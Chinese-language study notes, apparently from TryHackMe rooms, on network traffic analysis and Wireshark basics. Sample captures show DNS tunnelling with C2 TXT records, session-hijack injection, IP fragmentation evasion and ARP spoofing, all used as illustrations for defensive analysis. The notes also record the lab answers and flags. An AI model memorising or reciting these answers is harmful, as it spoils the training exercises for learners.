- Section 6:網絡流量分析
- 網絡流量基礎知識
- 介紹
- 網絡流量分析的目的是什麼?
- 我們為什麼要分析網絡流量?
- 我們可以觀察到哪些網絡流量?
- 網絡流量來源和流向
- 來源
- 流量
- 流程示例
- 我們如何觀察網絡流量?
- 日誌
- 完整數據包捕獲
- 網絡統計
- Wireshark:基礎知識
- 介紹
- 學習目標
- 工具描述
- 用例
- 圖形用户界面和數據
- 加載PCAP文件
- 塗色包
- 交通嗅探
- 合併PCAP文件
- 查看文件詳情
- 包解剖
- 包解剖
- 數據包詳情
- 數據包導航
- 數據包編號
- 前往數據包
- 查找數據包
- 標記包
- 數據包註釋
- 導出數據包
- 導出對象(文件)
- 時間顯示格式
- 專家信息
- 數據包過濾
- 數據包過濾
- 應用為篩選器
- 對話過濾器
- 為對話着色
- 準備作為過濾器
- 作為列應用
- 跟蹤流
- 介紹
- Wireshark:數據包操作
- 介紹
- 統計數據 | 摘要
- 統計數據
- 已解析地址
- 協議層次結構
- 會話
- 終點
- 統計數據 | 協議詳情
- IPv4 和 IPv6
- DNS
- HTTP
- 數據包過濾 | 原理
- 捕獲過濾器語法
- 顯示篩選語法
- 比較運算符
- 邏輯表達式
- 數據包過濾工具欄
- 數據包過濾 | 協議過濾器
- IP過濾器
- TCP 和 UDP 過濾器
- 應用層協議過濾器 | HTTP 和 DNS
- 顯示篩選表達式
- 高級篩選
- 篩選條件:“包含”
- 篩選條件:“匹配”
- 篩選條件:“in”
- 篩選條件:“大寫”
- 篩選條件:“小寫”
- 篩選條件:“轉字符串匹配”
- 書籤和篩選按鈕
- 簡介
- Wireshark:流量分析
- Nmap掃描
- TCP連接掃描
- 同步掃描
- UDP掃描
- ARP投毒攻擊和中間人攻擊!
- ARP欺騙/中和攻擊(又稱中間人攻擊)
- 主機識別:DHCP、NetBIOS 和 Kerberos
- 識別宿主
- DHCP分析
- NetBIOS (NBNS) 分析
- Kerberos 分析
- 隧道流量:DNS 和 ICMP
- ICMP分析
- DNS 分析
- 明文協議分析:FTP
- FTP分析
- 明文協議分析:HTTP
- 用户代理分析
- Log4j 分析
- 加密協議分析:解密 HTTPS
- 獎勵:尋找明文憑證!
- 額外福利:可執行的結果!
- 結論
- Nmap掃描
- 網絡礦工
- 介紹
- NetworkMiner 在取證中的應用
- 網絡挖掘在取證中的應用
- 支持的數據類型
- NetworkMiner是什麼?
- NetworkMiner 簡介
- 操作模式
- 優點和缺點
- Wireshark 和 NetworkMiner 的區別
- 工具概述 1
- 首頁
- 文件菜單
- 工具菜單
- 幫助菜單
- 機箱面板
- 主機
- 會話
- DNS
- 證書
- 工具概述 2
- 文件
- 圖片
- 參數
- 關鍵詞(keyword)
- 消息
- 異常
- 版本差異
- MAC地址處理
- 幀處理
- 參數處理
- 練習
- 網絡流量基礎知識
Section 6:網絡流量分析
網絡流量基礎知識
瞭解什麼是網絡分析、為什麼它至關重要、如何收集網絡流量以及有哪些工具可用。
介紹
網絡流量分析 ( NTA ) 是一個涵蓋捕獲、檢查和分析網絡中數據流的過程。其目標是全面瞭解網絡內外通信的內容。需要強調的是,NTA並非 Wireshark 工具的同義詞。它遠不止於此:NTA 結合了多種日誌、深度包檢測和網絡流量統計信息,並針對特定的目標(我們將在後文討論)進行關聯分析。
掌握網絡流量分析技能至關重要,這不僅對有志成為安全運營中心 (SOC)一級分析師的人來説如此,對藍隊和紅隊中的許多其他角色也同樣重要。作為一名一級分析師,你需要能夠從海量的網絡信息中理清頭緒,分辨哪些是正常情況,哪些是偏離基準線的情況。
在這個房間裏,我們將重點討論網絡流量分析的定義、為什麼需要它、如何觀察網絡流量以及需要注意的一些網絡流量來源和流向。
- 學習目標
- 瞭解什麼是網絡流量分析
- 瞭解可以觀察到什麼
- 瞭解如何監控網絡流量
- 瞭解典型的網絡流量來源和流
網絡流量分析的目的是什麼?
我們為什麼要分析網絡流量?在回答這個問題之前,讓我們先來看下面的場景。
DNS隧道和信標
您是一名SOC分析師,收到一條警報,指出來自名為WIN-016、IP地址為192.168.1.16的主機的DNS查詢數量異常增多。防火牆上的DNS日誌顯示,多個DNS查詢發往同一個頂級域名(TLD),每次都使用不同的子域名。
2025-10-03 09:15:23 SRC=192.168.1.16 QUERY=aj39skdm.malicious-tld.com QTYPE=A
2025-10-03 09:15:31 SRC=192.168.1.16 QUERY=msd91azx.malicious-tld.com QTYPE=A
2025-10-03 09:15:45 SRC=192.168.1.16 QUERY=cmd01.malicious-tld.com QTYPE=TXT
2025-10-03 09:15:45 SRC=192.168.1.16 QUERY=cmd01.malicious-tld.com QTYPE=TXT
根據 DNS 日誌,我們可以檢索到以下信息:
- 查詢和查詢類型
- 子域名和頂級域名:我們可以使用 abuseDB 或 VirusTotal 等工具來檢查域名是否惡意。
- 主機 IP:我們可以識別發出 DNS 查詢的系統。
- 目標 IP:我們可以使用 AbuseIPDB或VirusTotal等工具來驗證該 IP 是否被標記為惡意 IP。
- 時間戳:我們可以構建一個時間線,記錄下不同的可疑查詢。
DNS 日誌包含的信息僅限於此,因此僅憑這些信息很難得出結論。我們需要更徹底地檢查 DNS 流量,並核對 DNS 查詢和響應的內容。這將有助於我們確定這些查詢和響應的性質。
這種情況充分説明了為什麼我們需要網絡流量分析。防火牆和其他設備會記錄 DNS 查詢及其響應,但不會記錄其內容。例如,攻擊者可以利用 TXT 記錄向受感染的系統發送命令與控制 (C2) 指令。我們可以通過檢查 DNS 查詢的內容來發現這一點。下面的數據包捕獲片段顯示了一個包含 C2 命令的 DNS 響應的內容。
Domain Name System (response)
Transaction ID: 0x4a2b
Flags: 0x8180 Standard query response, No error
1... .... .... .... = Response: Message is a response
.... .... .... 0000 = RCODE: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Queries
cmd1.evilc2.com: type TXT, class IN
Answers
cmd1.evilc2.com: type TXT, class IN, TTL 60, TXT length: 20
TXT: "SSBsb3ZlIHlvdXIgY3VyaW91c2l0eQ=="
我們為什麼要分析網絡流量?
通常,我們會利用網絡流量分析來:
- 監控網絡性能
- 檢查網絡是否存在異常情況,例如:性能突然飆升、網絡速度變慢等。
- 檢查內部和外部可疑通信的內容。例如,通過DNS進行數據泄露、通過HTTP下載惡意 ZIP 文件、橫向移動等。
從安全運營中心(SOC)的角度來看,網絡流量分析有助於:
- 檢測可疑或惡意活動
- 事件響應期間的攻擊重建
- 驗證和確認警報
以下兩個場景進一步説明了網絡流量分析的重要性:
- 根據終端用户系統的日誌,該系統在世界協調時下午 4 點左右開始出現異常行為。通過分析進出該系統的網絡流量,我們發現了一個可疑的HTTP請求,併成功提取出了一個可疑的 ZIP 文件。
- 我們收到警報,顯示某個終端用户系統發送的DNS請求數量遠超網絡基線水平。經檢查,我們發現有人利用一種名為DNS隧道的技術竊取數據。
既然我們知道了為什麼需要網絡流量分析,接下來讓我們繼續下一個任務,看看我們究竟可以監控什麼。
請回答以下問題。
通過 DNS 走私 C2 命令的技術名稱是什麼?
DNS Tunneling
我們可以觀察到哪些網絡流量?
要展現我們能夠觀察到的網絡流量,最好的方法是使用幾乎所有帶網絡接口的設備都實現的架構:TCP /IP協議棧。下圖展示了TCP /IP模型的不同層。每一層都描述了將數據傳遞到下一層所需的信息(頭部)。每個頭部中包含的信息,連同應用程序數據,正是我們想要觀察的內容。日誌通常包含這些頭部的部分信息,但從未包含完整的包詳細信息。這就是我們需要進行網絡流量分析的原因。
應用
層包含兩個重要的信息結構:應用頭部信息和應用數據本身(有效載荷)。這些信息會根據所使用的應用層協議而變化。我們來看一個HTTP的例子。
以下代碼片段展示了客户端發送 GET 請求的應用程序標頭和服務器的響應。大多數 Web 代理和防火牆都會記錄這些標頭數據。但它們不會記錄應用程序數據或有效負載。從 GET 請求中,您可以確定客户端正在請求一個名為 <filename> 的文件suspicious_package.zip。服務器的響應包含 200 代碼,表示請求已被接受。
但是,您在日誌中看不到的是 ZIP 文件的內容(用<<--符號指出)。
請求
GET /downloads/suspicious_package.zip HTTP/1.1
Host: www.tryhackrne.thn
User-Agent: curl/7.85.0
Accept: */*
Connection: close
回覆
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2025 10:15:30 GMT
Server: nginx/1.18.0
Content-Type: application/zip
Content-Length: 10485760
Content-Disposition: attachment; filename="suspicious_package.zip"
Last-Modified: Mon, 29 Sep 2025 09:54:00 GMT
ETag: "5d8c72-9f8a1c-3a2b4c"
Accept-Ranges: bytes
Connection: close
[binary ZIP file bytes follow — 10,485,760 bytes] <<--
傳輸層:
應用層的數據和頭部信息會被分割並封裝成更小的片段。每個片段都包含一個傳輸頭部,通常是 TCP 或 UDP 協議。讓我們來看一下下面的防火牆日誌條目:
2025-10-13 09:15:32 ACCEPT TCP src=192.168.1.45 dst=172.217.22.14 sport=51432 dport=443 flags=SYN len=60
2025-10-13 09:15:32 ACCEPT TCP src=172.217.22.14 dst=192.168.1.45 sport=443 dport=51432 flags=SYN,ACK len=60
防火牆日誌通常包含源端口、目標端口和標誌位,但其他字段通常不包含在內。然而,這些字段對於檢測某些類型的攻擊(例如會話劫持)非常有價值。可以通過分析數據包頭部中的序列號來檢測會話劫持。如果序列號突然出現較大偏差,則需要進行進一步調查。以下輸出顯示了使用 Wireshark 捕獲的一系列數據包。
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.1.45 172.217.22.14 TCP 74 51432 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
2 0.000120 172.217.22.14 192.168.1.45 TCP 74 80 → 51432 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460
3 0.000220 192.168.1.45 172.217.22.14 TCP 66 51432 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4 0.010500 192.168.1.45 172.217.22.14 TCP 1514 51432 → 80 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=1460
5 0.010620 172.217.22.14 192.168.1.45 TCP 66 80 → 51432 [ACK] Seq=1 Ack=1461 Win=65535 Len=0
6 0.020100 192.168.99.200 172.217.22.14 TCP 74 51432 → 80 [PSH, ACK] Seq=34567232<<--這個 Ack=1 Win=64240 Len=20
- 前三行顯示的是正常的TCP三次握手過程。
- 第 4 行和第 5 行顯示合法數據傳輸。
- 第 6 行顯示來自其他源的數據包試圖將自身注入會話。請注意序列號的大幅跳躍。
在互聯網傳輸過程中,當傳輸層發送一個數據段時,網絡層也會添加其頭部。如果數據段大於最大傳輸單元 (MTU),則會被分割成多個分片,併為每個分片添加頭部。最常記錄的字段是源 IP 地址、目標 IP 地址和生存時間 (TTL)。這對於大多數應用場景來説已經足夠。但是,如果我們想要檢測分片攻擊,例如,還需要檢查分片偏移量和總長度字段。分片攻擊有多種變體。例如,攻擊者可以創建極小的分片來繞過入侵檢測系統 (IDS),或者通過使用重疊的字節範圍來干擾分片的重組。下面的示例展示了重疊的字節範圍。第 3 行的偏移量與第 2 行的偏移量Offset重疊。這意味着整個數據包可以通過某種方式重組。攻擊者可以利用這種技術來繞過 IDS。
No. Time Source Destination Protocol Length Info
1 0.000000 203.0.113.45 192.168.1.10 UDP 1514 Fragmented IP protocol (UDP) (id=0x1a2b) [MF] Offset=0, Len=1480
2 0.000015 203.0.113.45 192.168.1.10 UDP 1514 Fragmented IP protocol (UDP) (id=0x1a2b) [MF] Offset=1480, Len=1480
3 0.000030 203.0.113.45 192.168.1.10 UDP 600 Fragmented IP protocol (UDP) (id=0x1a2b) Offset=1480, Len=64 <-- Overlap
4 0.000045 192.168.1.10 203.0.113.45 ICMP 98 Destination unreachable (Fragment reassembly time exceeded)
鏈路
層完成封裝後,IP 數據包會被髮送到鏈路層。鏈路層也會添加自己的頭部,其中包含更多尋址信息。大多數日誌會顯示源 MAC 地址和目標 MAC 地址。但對於某些類型的攻擊,例如 ARP 欺騙或投毒攻擊,日誌中的信息可能不足以應對。對於這類攻擊,我們需要完整的數據包及其上下文。例如,日誌無法顯示 MAC 地址是否出現在多個接口上,或者是否發送了許多 MAC 地址衝突的免費 ARP 數據包。以下示例展示了一個 ARP 投毒攻擊的數據包捕獲。IP 地址為 192.168.1.200 的主機使用相同的 MAC 地址回覆每個 ARP 請求。
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.1.1 Broadcast ARP 60 Who has 192.168.1.10? Tell 192.168.1.1
2 0.000025 192.168.1.10 192.168.1.1 ARP 60 192.168.1.10 is at 00:11:22:33:44:55
3 1.002010 192.168.1.200 192.168.1.1 ARP 60 192.168.1.10 is at aa:bb:cc:dd:ee:ff <-- Attacker spoof
4 1.002015 192.168.1.200 192.168.1.10 ARP 60 192.168.1.1 is at aa:bb:cc:dd:ee:ff <-- Attacker spoof
5 1.100000 192.168.1.10 172.217.22.14 TCP 74 54433 → 80 [SYN] Seq=0 Win=64240 Len=0
6 1.100120 192.168.1.200 172.217.22.14 TCP 74 54433 → 80 [SYN] Seq=0 Win=64240 Len=0 <-- Relayed via attacker
請回答以下問題。
請查看任務中的 HTTP 示例,並回答以下問題:HTTP 響應中包含的 ZIP 附件的大小是多少?請以字節為單位記下答案。
10485760
攻擊者使用哪種攻擊方式來試圖繞過入侵檢測系統 (IDS)?
fragmentation
我們可以使用 TCP 報頭中的哪個字段來檢測會話劫持?
sequence number
網絡流量來源和流向
在之前的任務中,我們討論了基於TCP /IP 協議棧的理論觀察結果。實際上,關注具體的源和流更有幫助。企業網絡通常有一些預先確定的網絡流和源。我們可以將這些源分為兩類:
- 中介
- 端點
我們還可以將這些流量分為兩類:
- 南北向:進出局域網並經過防火牆的流量
- 東西向:指局域網內的流量(包括延伸到雲端的局域網流量)。
下面我們逐一探討它們。
來源
如前所述,網絡流量來源有兩種:終端設備和中間設備。這些設備既存在於局域網 (LAN) 中,也存在於廣域網 (WAN) 中。
中間源:
這些設備是流量的主要通道。雖然它們也會產生一些流量,但遠低於終端設備產生的流量。此類設備包括防火牆、交換機、Web代理、入侵檢測系統(IDS)、入侵防禦系統(IPS)、路由器、接入點、無線局域網控制器等等。或許與我們關係不大,但互聯網服務提供商的所有基礎設施也屬於此類。
這些設備產生的流量來自路由協議(EIGRP、OSPF、BGP)、管理協議(SNMP、PING)、日誌協議(SYSLOG)和其他支持協議(ARP、STP、DHCP)等服務。
終端源:
這些是流量的起始點和終點。終端設備佔用大部分網絡帶寬。屬於這一類別的設備包括服務器、主機、物聯網設備、打印機、虛擬機、雲資源、移動電話、平板電腦等等。
流量
網絡流量通常取決於網絡中可用的服務,例如 Active Directory、SMB、HTTPS 等。在典型的企業網絡中,我們可以將這些流量分為南北向流量和東西向流量。
南北向流量
(NS流量)通常在局域網(LAN)和廣域網(WAN)之間雙向流動時受到密切監控。此類流量中最常見的是客户端-服務器協議,例如HTTPS、DNS、SSH、VPN、SMTP、RDP等等。每種協議都有兩個流:入站(ingress)和出站(egress)。所有這些流量都會以某種方式經過防火牆。正確配置防火牆規則和日誌記錄是實現流量可見性的關鍵。
東西向流量
(EW流量)通常只在企業局域網內傳輸,因此監控較少。然而,跟蹤這些流量至關重要。當網絡遭到入侵時,攻擊者往往會利用內部不同的服務在網絡中橫向移動。如下所示,此類服務種類繁多。點擊每個類別即可查看其包含的服務。
目錄、身份驗證和身份服務
- Kerberos /LDAP:身份驗證/對 Active Directory 的查詢
- RADIUS/TACACS+:網絡訪問控制
- 證書頒發機構頒發內部證書
文件共享和打印服務
- SMB /CIFS:訪問網絡驅動器
- IPP/LPD:網絡打印
路由器、交換機和基礎設施服務
- 主機與DHCP服務器之間的DHCP通信
- ARP廣播消息
- 內部DNS
- 路由協議消息
應用通信
- 數據庫連接:基於TCP 的SQL
- 微服務 API:服務之間的REST或 gRPC 調用
備份與複製
- 文件複製:在數據中心之間或複製到備份服務器
- 數據庫複製:MySQL 二進制日誌複製、PostgreSQL 流式複製等等
監控與管理
- SNMP:設備健康指標
- 系統日誌:集中式日誌記錄
- NetFlow / IPFIX:流量遙測
- 其他端點日誌會發送到中央日誌服務器
流程示例
讓我們通過可視化的方式來看一下上面提到的一些網絡流量。
HTTPS
有多種不同的網絡流量流。我們來看一個 Web代理執行TLS檢查的流:
主機請求訪問某個網站;該請求被髮送到下一代防火牆 (NGFW),其中包含一個 Web代理。Web代理充當 Web 服務器,同時與實際的 Web 服務器建立一個新的TCP會話,並將客户端的請求轉發出去。當 Web代理收到 Web 服務器的響應時,它會檢查響應內容,如果認為安全,則將其轉發給主機。總而言之,這裏有兩個會話,一個在客户端和代理之間,另一個在代理和 Web 服務器之間。從客户端的角度來看,它已經與 Web 服務器建立了一個會話。
企業網絡內部的外部DNS
通信始於主機發送DNS查詢。主機將查詢發送到端口 53 的內部DNS服務器,該服務器將代表主機執行操作。首先,它會檢查緩存中是否有該查詢的答案;如果沒有,它會將查詢通過路由器和防火牆發送到已配置的DNS服務器。然後,答案將沿着相同的路徑到達內部DNS 服務器,最終由內部 DNS服務器轉發給主機。下圖顯示了一個簡化的流程圖。
使用Kerberos的SMB 協議:
當主機打開一個共享文件夾(例如 \FILESERVER\MARKETING)時,會建立一個SMB會話。首先,通過Kerberos進行身份驗證。當用户登錄主機時,它會向域控制器上的密鑰分發中心進行身份驗證,並收到一個票證授予票據 (TGT),用於請求“服務身份驗證票據”。然後,主機使用之前收到的 TGT 請求服務票據。主機隨後使用此票據建立SMB連接。SMB 會話建立後,主機即可訪問該共享文件夾。下圖是該流程的簡化網絡圖。
請回答以下問題。
網絡中哪類設備產生的流量最大?
endpoint
建立 SMB 會話之前,需要先聯繫哪個服務進行身份驗證?
kerberos
TLS是什麼的縮寫?
Transport Layer Security
我們如何觀察網絡流量?
既然我們已經瞭解了網絡中可以且應該觀察的內容,接下來讓我們看看如何進行觀察。正如引言中所述,網絡流量分析側重於整合多種信息源,對其進行分析,發現其中的模式,並利用分析結果指導後續行動。
我們可以通過多種方式獲取這些信息來源:
- 日誌
- 完整數據包捕獲
- 網絡統計
日誌
日誌是我們獲取網絡運行信息的首要途徑。網絡中的每個系統和協議都包含記錄信息的方式。需要注意的是,目前並沒有適用於所有系統和協議的通用日誌記錄標準。每個廠商都會自行選擇日誌記錄的實現方式。例如,微軟實現了 Windows 事件日誌。此外,記錄哪些數據也取決於廠商。大多數廠商不會記錄數據包進出系統時的完整信息,而是會記錄一些他們認為有用的字段,例如源 IP 地址和目標 IP 地址。在下面的終端中,我們可以看到一些示例日誌,例如使用 Syslog 格式的Linux主機身份驗證日誌和使用 CLF 標準的Apache Web 服務器訪問日誌。
# Auth log
Oct 8 11:20:15 web01 sshd[2145]: Accepted password for gensane from 192.168.1.50 port 52234 ssh2
# Apache web server access log
192.168.1.50 - - [08/Oct/2025:11:20:18 +0200] "GET /index.html HTTP/1.1" 200 2326 "-" "Mozilla/5.0"
儘管沒有標準的日誌記錄方式,但有一些協議提供了一種將日誌消息從設備發送到收集器的標準化方式,例如 Syslog 和 SNMP。
當日志提供的信息不足時,我們必須深入挖掘。為此,我們需要關聯日誌、檢查完整的數據包捕獲並查看網絡統計信息。
完整數據包捕獲
在任務三中,我們討論了完整數據包的結構。現在,我們想知道如何捕獲和檢查這些數據包。為此,我們有兩種選擇:
- 安裝物理網絡分路器
- 配置端口鏡像
網絡分路器(Network
TAP)是一種可以串聯到網絡中的物理設備。這些設備會複製所有經過的網絡流量,而不會影響網絡性能。複製的數據隨後會通過專用的監控端口轉發到數據包捕獲設備、入侵檢測系統(IDS)或其他系統。值得注意的是,網絡分路器僅在 TCP/IP 模型的鏈路層工作;它不需要 MAC 或 IP 地址,因為它複製的是電信號/光信號並將其發送到監控端口。這樣,就不會增加網絡延遲。下圖展示了一個網絡分路器的示例。
端口
鏡像是一種軟件方法,用於將數據包從中間設備上的一個端口複製到連接到例如入侵檢測系統 (IDS)、數據包捕獲設備或其他系統的另一個端口。每個廠商都有自己的命名。例如,思科稱之為 SPAN。在下面的終端中,我們可以看到如何在思科設備上配置 SPAN。在本例中,經過的數據包fastEthernet0/1將被複制併發送到另一個端口fastEthernet0/2。
Switch(config)# monitor session 1 source interface fastEthernet0/1
Switch(config)# monitor session 1 destination interface fastEthernet0/2
下圖展示了其工作原理。WIN-001 通過交換機發送數據包與服務器通信。數據包到達交換機後,會被複制一份併發送到監控設備。
請注意,中間設備不一定是物理設備,端口鏡像也可以配置在虛擬設備上,例如 VMware vSwitch。雲環境也提供專門的鏡像服務。例如,AWS 提供 VPC 流量鏡像。
最佳實踐:
進行完整數據包捕獲時,我們需要考慮以下幾個方面:
- 放置位置:根據我們要捕獲的流量類型,我們需要將 TAP 放置在正確的位置或將鏡像配置在正確的位置。
- 持續時間:完整的數據包捕獲需要相應的存儲空間。如果在 1 Gbps 的線路上捕獲一整天的流量,平均需要 10.8 TB 的存儲空間。想象一下,在 10Gb 或 40Gb 的線路上,我們需要多少存儲空間。
- 鏡像與分路:物理分路幾乎不會造成性能損失。而鏡像在大量流量通過鏡像端口時可能會影響性能。
工具
現在我們已經瞭解瞭如何進行完整的數據包捕獲,接下來讓我們看看可用於分析這些數據包的工具:
- Wireshark
- TCPdump
- IPS / IDS類似 Snort、Suricata 和Zeek
以上列舉的是可用於分析完整數據包捕獲的眾多工具中的一部分。在本模塊的後續章節中,我們將重點介紹 Wireshark 的使用。
網絡統計
另一種查找網絡異常的好方法是收集網絡中數據流的元數據,例如統計主機發送的DNS請求數量。一些協議可以實現這一點。我們將簡要討論其中的兩種:NetFlow和IPFIX。
NetFlow是思科開發的一種協議,用於收集網絡中流量的元數據。它是檢測C2流量、數據泄露和橫向移動等問題的有效方法。下圖顯示了一個NetFlow輸出示例。我們可以看到,該示例不包含單個數據包,而是包含從源 IP 地址 12.1.1.1 到目標 IP 地址 13.1.1.2 的數據包流的元數據。
互聯網協議流信息導出協議 ( IPFIX )可以被視為NetFlow的繼任者。NetFlow最初是思科的專有協議,這意味着該協議最初僅供思科系統使用。直到NetFlow v9 版本,思科才引入模板功能,以便其他廠商能夠將其適配到自己的設備上。互聯網工程任務組 (IETF)與思科及其他廠商合作創建了IPFIX,並將其作為廠商中立的標準發佈。IPFIX 提供與NetFlow類似的功能,但在配置要捕獲的字段方面更加靈活。
要實現NetFlow或IPFIX,我們不需要全新的基礎設施或專用服務器。大多數廠商都在其設備中默認實現了這些協議。我們只需要啓用並配置協議,並提供一個接收元數據的位置即可。您無需專用服務器來收集這些數據;許多下一代防火牆 (NGFW)、入侵防禦系統 (IPS)和入侵檢測系統 (IDS)都內置了收集和分析流量數據的機制。
我放在了webproxy和防火牆之間,也就是説流量進去的時候的那個節點,那就能看到所有的流量了
這裏是要看dns流量,那就放在dns請求的dns服務前即可
請回答以下問題。
場景 1 中 HTTP 流量裏包含的標誌是什麼?該標誌的格式為 THM{}。
THM{FoundTheMalware}
場景 2 中 DNS 流量裏發現的標誌是什麼?該標誌的格式為 THM{}。
THM{C2CommandFound}
Wireshark:基礎知識
介紹
Wireshark 是一款開源、跨平台的網絡數據包分析工具,能夠嗅探和分析實時網絡流量,並檢查數據包捕獲文件(PCAP)。它被廣泛認為是最佳數據包分析工具之一。在本教程中,我們將學習 Wireshark 的基礎知識,並使用它進行基本的數據包分析。
學習目標
- 瀏覽和配置 Wireshark
- 檢查數據包並從TCP /IP的不同層中發現信息。
- 應用顯示篩選器
工具描述
用例
Wireshark是目前市面上功能最強大的流量分析工具之一。它有多種用途:
- 檢測和排除網絡問題,例如網絡負載故障點和擁塞。
- 檢測安全異常情況,例如惡意主機、異常端口使用情況和可疑流量。
- 調查和學習協議細節,例如響應代碼和有效載荷數據。
注意:Wireshark 並非入侵檢測系統 ( IDS )。它僅允許分析人員發現並深入調查數據包。它不會修改數據包,只是讀取它們。因此,檢測任何異常或網絡問題都高度依賴於分析人員的知識和調查技能。
虛擬機中提供了兩個捕獲文件。您可以使用這些http1.pcapng文件來模擬屏幕截圖中的操作。請注意,您需要使用這些Exercise.pcapng文件來回答問題。
圖形用户界面和數據
Wireshark圖形用户界面打開後會顯示一個功能齊全的單一頁面,幫助用户以多種方式分析網絡流量。乍一看,五個部分非常突出。
| 工具欄 | 主工具欄包含多個用於數據包嗅探和處理的菜單和快捷方式,包括過濾、排序、彙總、導出和合並。 |
|---|---|
| 顯示篩選欄 | 主要查詢和篩選部分。 |
| 最近的文件 | 最近調查過的文件列表。雙擊即可調出列表中的文件。 |
| 捕獲過濾器和接口 | 捕獲過濾器和可用的嗅探點(網絡接口)。網絡接口是計算機與網絡之間的連接點。軟件連接(例如,lo、eth0 和 ens33)啓用網絡硬件。 |
| 狀態欄 | 工具狀態、配置文件和數字數據包信息。 |
下圖顯示了 Wireshark 的主窗口。表格中解釋的各個部分已高亮顯示。
現在打開 Wireshark,並按照以下步驟操作。
加載PCAP文件
上圖顯示的是 Wireshark 的空白界面。唯一可見的信息是最近處理的http1.pcap文件。讓我們加載該文件,看看 Wireshark 的詳細數據包呈現方式。請注意,您也可以使用 “文件” 菜單、拖放文件或雙擊文件來加載pcap 文件。
現在,我們可以看到已處理的文件名、數據包的詳細數量以及數據包詳情。數據包詳情顯示在三個不同的窗格中,方便我們以不同的格式查看。
| 數據包列表窗格 | 每個數據包的摘要(源地址和目標地址、協議和數據包信息)。您可以點擊列表選擇一個數據包進行深入分析。選擇數據包後,詳細信息將顯示在其他面板中。 |
|---|---|
| 數據包詳情面板 | 所選數據包的詳細協議分解。 |
| 數據包字節窗格 | 顯示所選數據包的十六進制和解碼後的 ASCII 表示形式。它會根據詳細信息窗格中單擊的部分高亮顯示相應的數據包字段。 |
塗色包
除了快速顯示數據包信息外,Wireshark 還會根據不同的條件和協議對數據包進行着色,以便快速發現捕獲數據中的異常情況和協議(這就解釋了為什麼在提供的屏幕截圖中幾乎所有內容都是綠色的)。這種對數據包信息的快速查看可以幫助您在分析過程中準確找到所需內容。您可以使用顯示過濾器創建自定義顏色規則來突出顯示感興趣的事件,我們將在下一節中介紹這些過濾器。現在,讓我們重點關注默認設置,並瞭解如何查看和使用顯示的數據詳細信息。
Wireshark 提供兩種數據包着色方法:臨時規則和永久規則。臨時規則僅在當前程序會話期間有效,而永久規則則保存在首選項文件(配置文件)中,可在下次程序會話中使用。您可以使用“右鍵單擊”菜單或 “視圖”→“着色規則” 菜單創建永久着色規則。 “着色數據包列表”菜單用於激活/停用着色規則。臨時數據包着色則通過“右鍵單擊”菜單或****“視圖”→“會話過濾器”菜單 完成 ,具體內容將在任務 5 中介紹。
默認的永久着色效果如下所示。
交通嗅探
您可以使用藍色 “鯊魚按鈕” 啓動網絡嗅探(捕獲流量),紅色按鈕停止嗅探,綠色按鈕重新啓動嗅探過程。狀態欄還會顯示正在使用的嗅探接口和已收集的數據包數量。
合併PCAP文件
Wireshark 可以將兩個pcap文件合併成一個文件。您可以使用 “文件 --> 合併” 菜單路徑將一個pcap 文件與已處理的文件合併。選擇第二個文件後,Wireshark 會顯示所選文件中的數據包總數。單擊“打開”後,它會將現有的pcap文件與所選文件合併,並創建一個新的pcap文件。請注意,您需要先保存合併後的pcap文件才能進行後續操作。
參見 GIF
查看文件詳情
瞭解文件詳情很有幫助。尤其是在處理多個pcap文件時,有時需要了解並記住文件詳情(文件哈希值、捕獲時間、捕獲文件註釋、接口和統計信息)才能識別文件、對其進行分類和優先級排序。您可以通過“統計信息 --> 捕獲文件屬性” 或單擊左下角的 pcap 圖標來查看詳情。
請回答以下問題。
請使用“Exercise.pcapng”文件回答問題。
閲讀 “capture file comments”
flag是什麼?
這裏就是打開文件屬性查看即可
TryHackMe_Wireshark_Demo
數據包總數是多少?
58620
捕獲文件的SHA256 哈希值是多少?
f446de335565fb0b0ee5e5a3266703c778b2f3dfad7efeaeccb2da5641a6d6eb
包解剖
包解剖
數據包剖析也稱為協議剖析,它通過解碼可用的協議和字段來分析數據包的詳細信息。Wireshark 支持多種協議進行剖析,您也可以編寫自己的剖析腳本。您可以在這裏:https://github.com/boundary/wireshark/blob/master/doc/README.dissector找到更多關於剖析的詳細信息。
注意: 本節介紹 Wireshark 如何使用 OSI 層來分解數據包,以及如何使用這些層進行分析。假設您已經具備 OSI 模型及其工作原理方面的基礎知識。
數據包詳情
您可以點擊數據包列表窗格中的數據包以查看其詳細信息(雙擊將在新窗口中打開詳細信息)。數據包由基於 OSI 模型的 5 到 7 層組成。我們將通過一個示例捕獲的HTTP數據包來逐一瞭解這些層。下圖顯示的是第 27 個數據包。
每次單擊某個細節時,都會在數據包字節窗格中突出顯示相應的部分。
讓我們仔細看一下詳細信息窗格。
我們可以看到數據包由七個不同的層組成:,,,,,,和。frame/packet下面我們將更詳細地介紹這些層。
source [MAC] source [IP] protocol protocol errors application protocol application data
幀(第 1 層): 這將顯示您正在查看的幀/數據包以及 OSI 模型物理層的特定詳細信息。
源 MAC 地址(第 2 層): 這將顯示源 MAC 地址和目標 MAC 地址;來自 OSI 模型的數據鏈路層。
源 [IP](第 3 層): 這將顯示源 IPv4 地址和目標 IPv4 地址;來自 OSI 模型的網絡層。
協議(第 4 層): 這將顯示所使用的協議(UDP / TCP)以及源端口和目標端口的詳細信息;來自 OSI 模型的傳輸層。
協議錯誤: 這是第四層的延續,顯示了需要重新組裝的TCP特定段。
應用層協議(第 5 層): 此處將顯示所用協議的具體信息,例如HTTP、FTP和SMB。此部分屬於 OSI 模型的應用層。
應用數據: 此第五層的擴展可以顯示特定於應用程序的數據。
請回答以下問題。
請使用“Exercise.pcapng”文件回答問題。參見第38題。HTTP協議使用哪種標記語言?
eXtensible Markup Language
包的到達日期是什麼時候?(答案格式:月/日/年)
05/13/2004
TTL值是多少?
47
TCP有效載荷大小是多少?
展開傳輸層查看
424
e-tag的值是什麼?
(例如:82ecb-6321-9e904585)
9a01a-4696-7e354b00
數據包導航
數據包編號
Wireshark 會計算被分析的數據包數量,併為每個數據包分配一個唯一的編號。這有助於分析大型數據包,並方便用户回溯到事件的特定時間點。
前往數據包
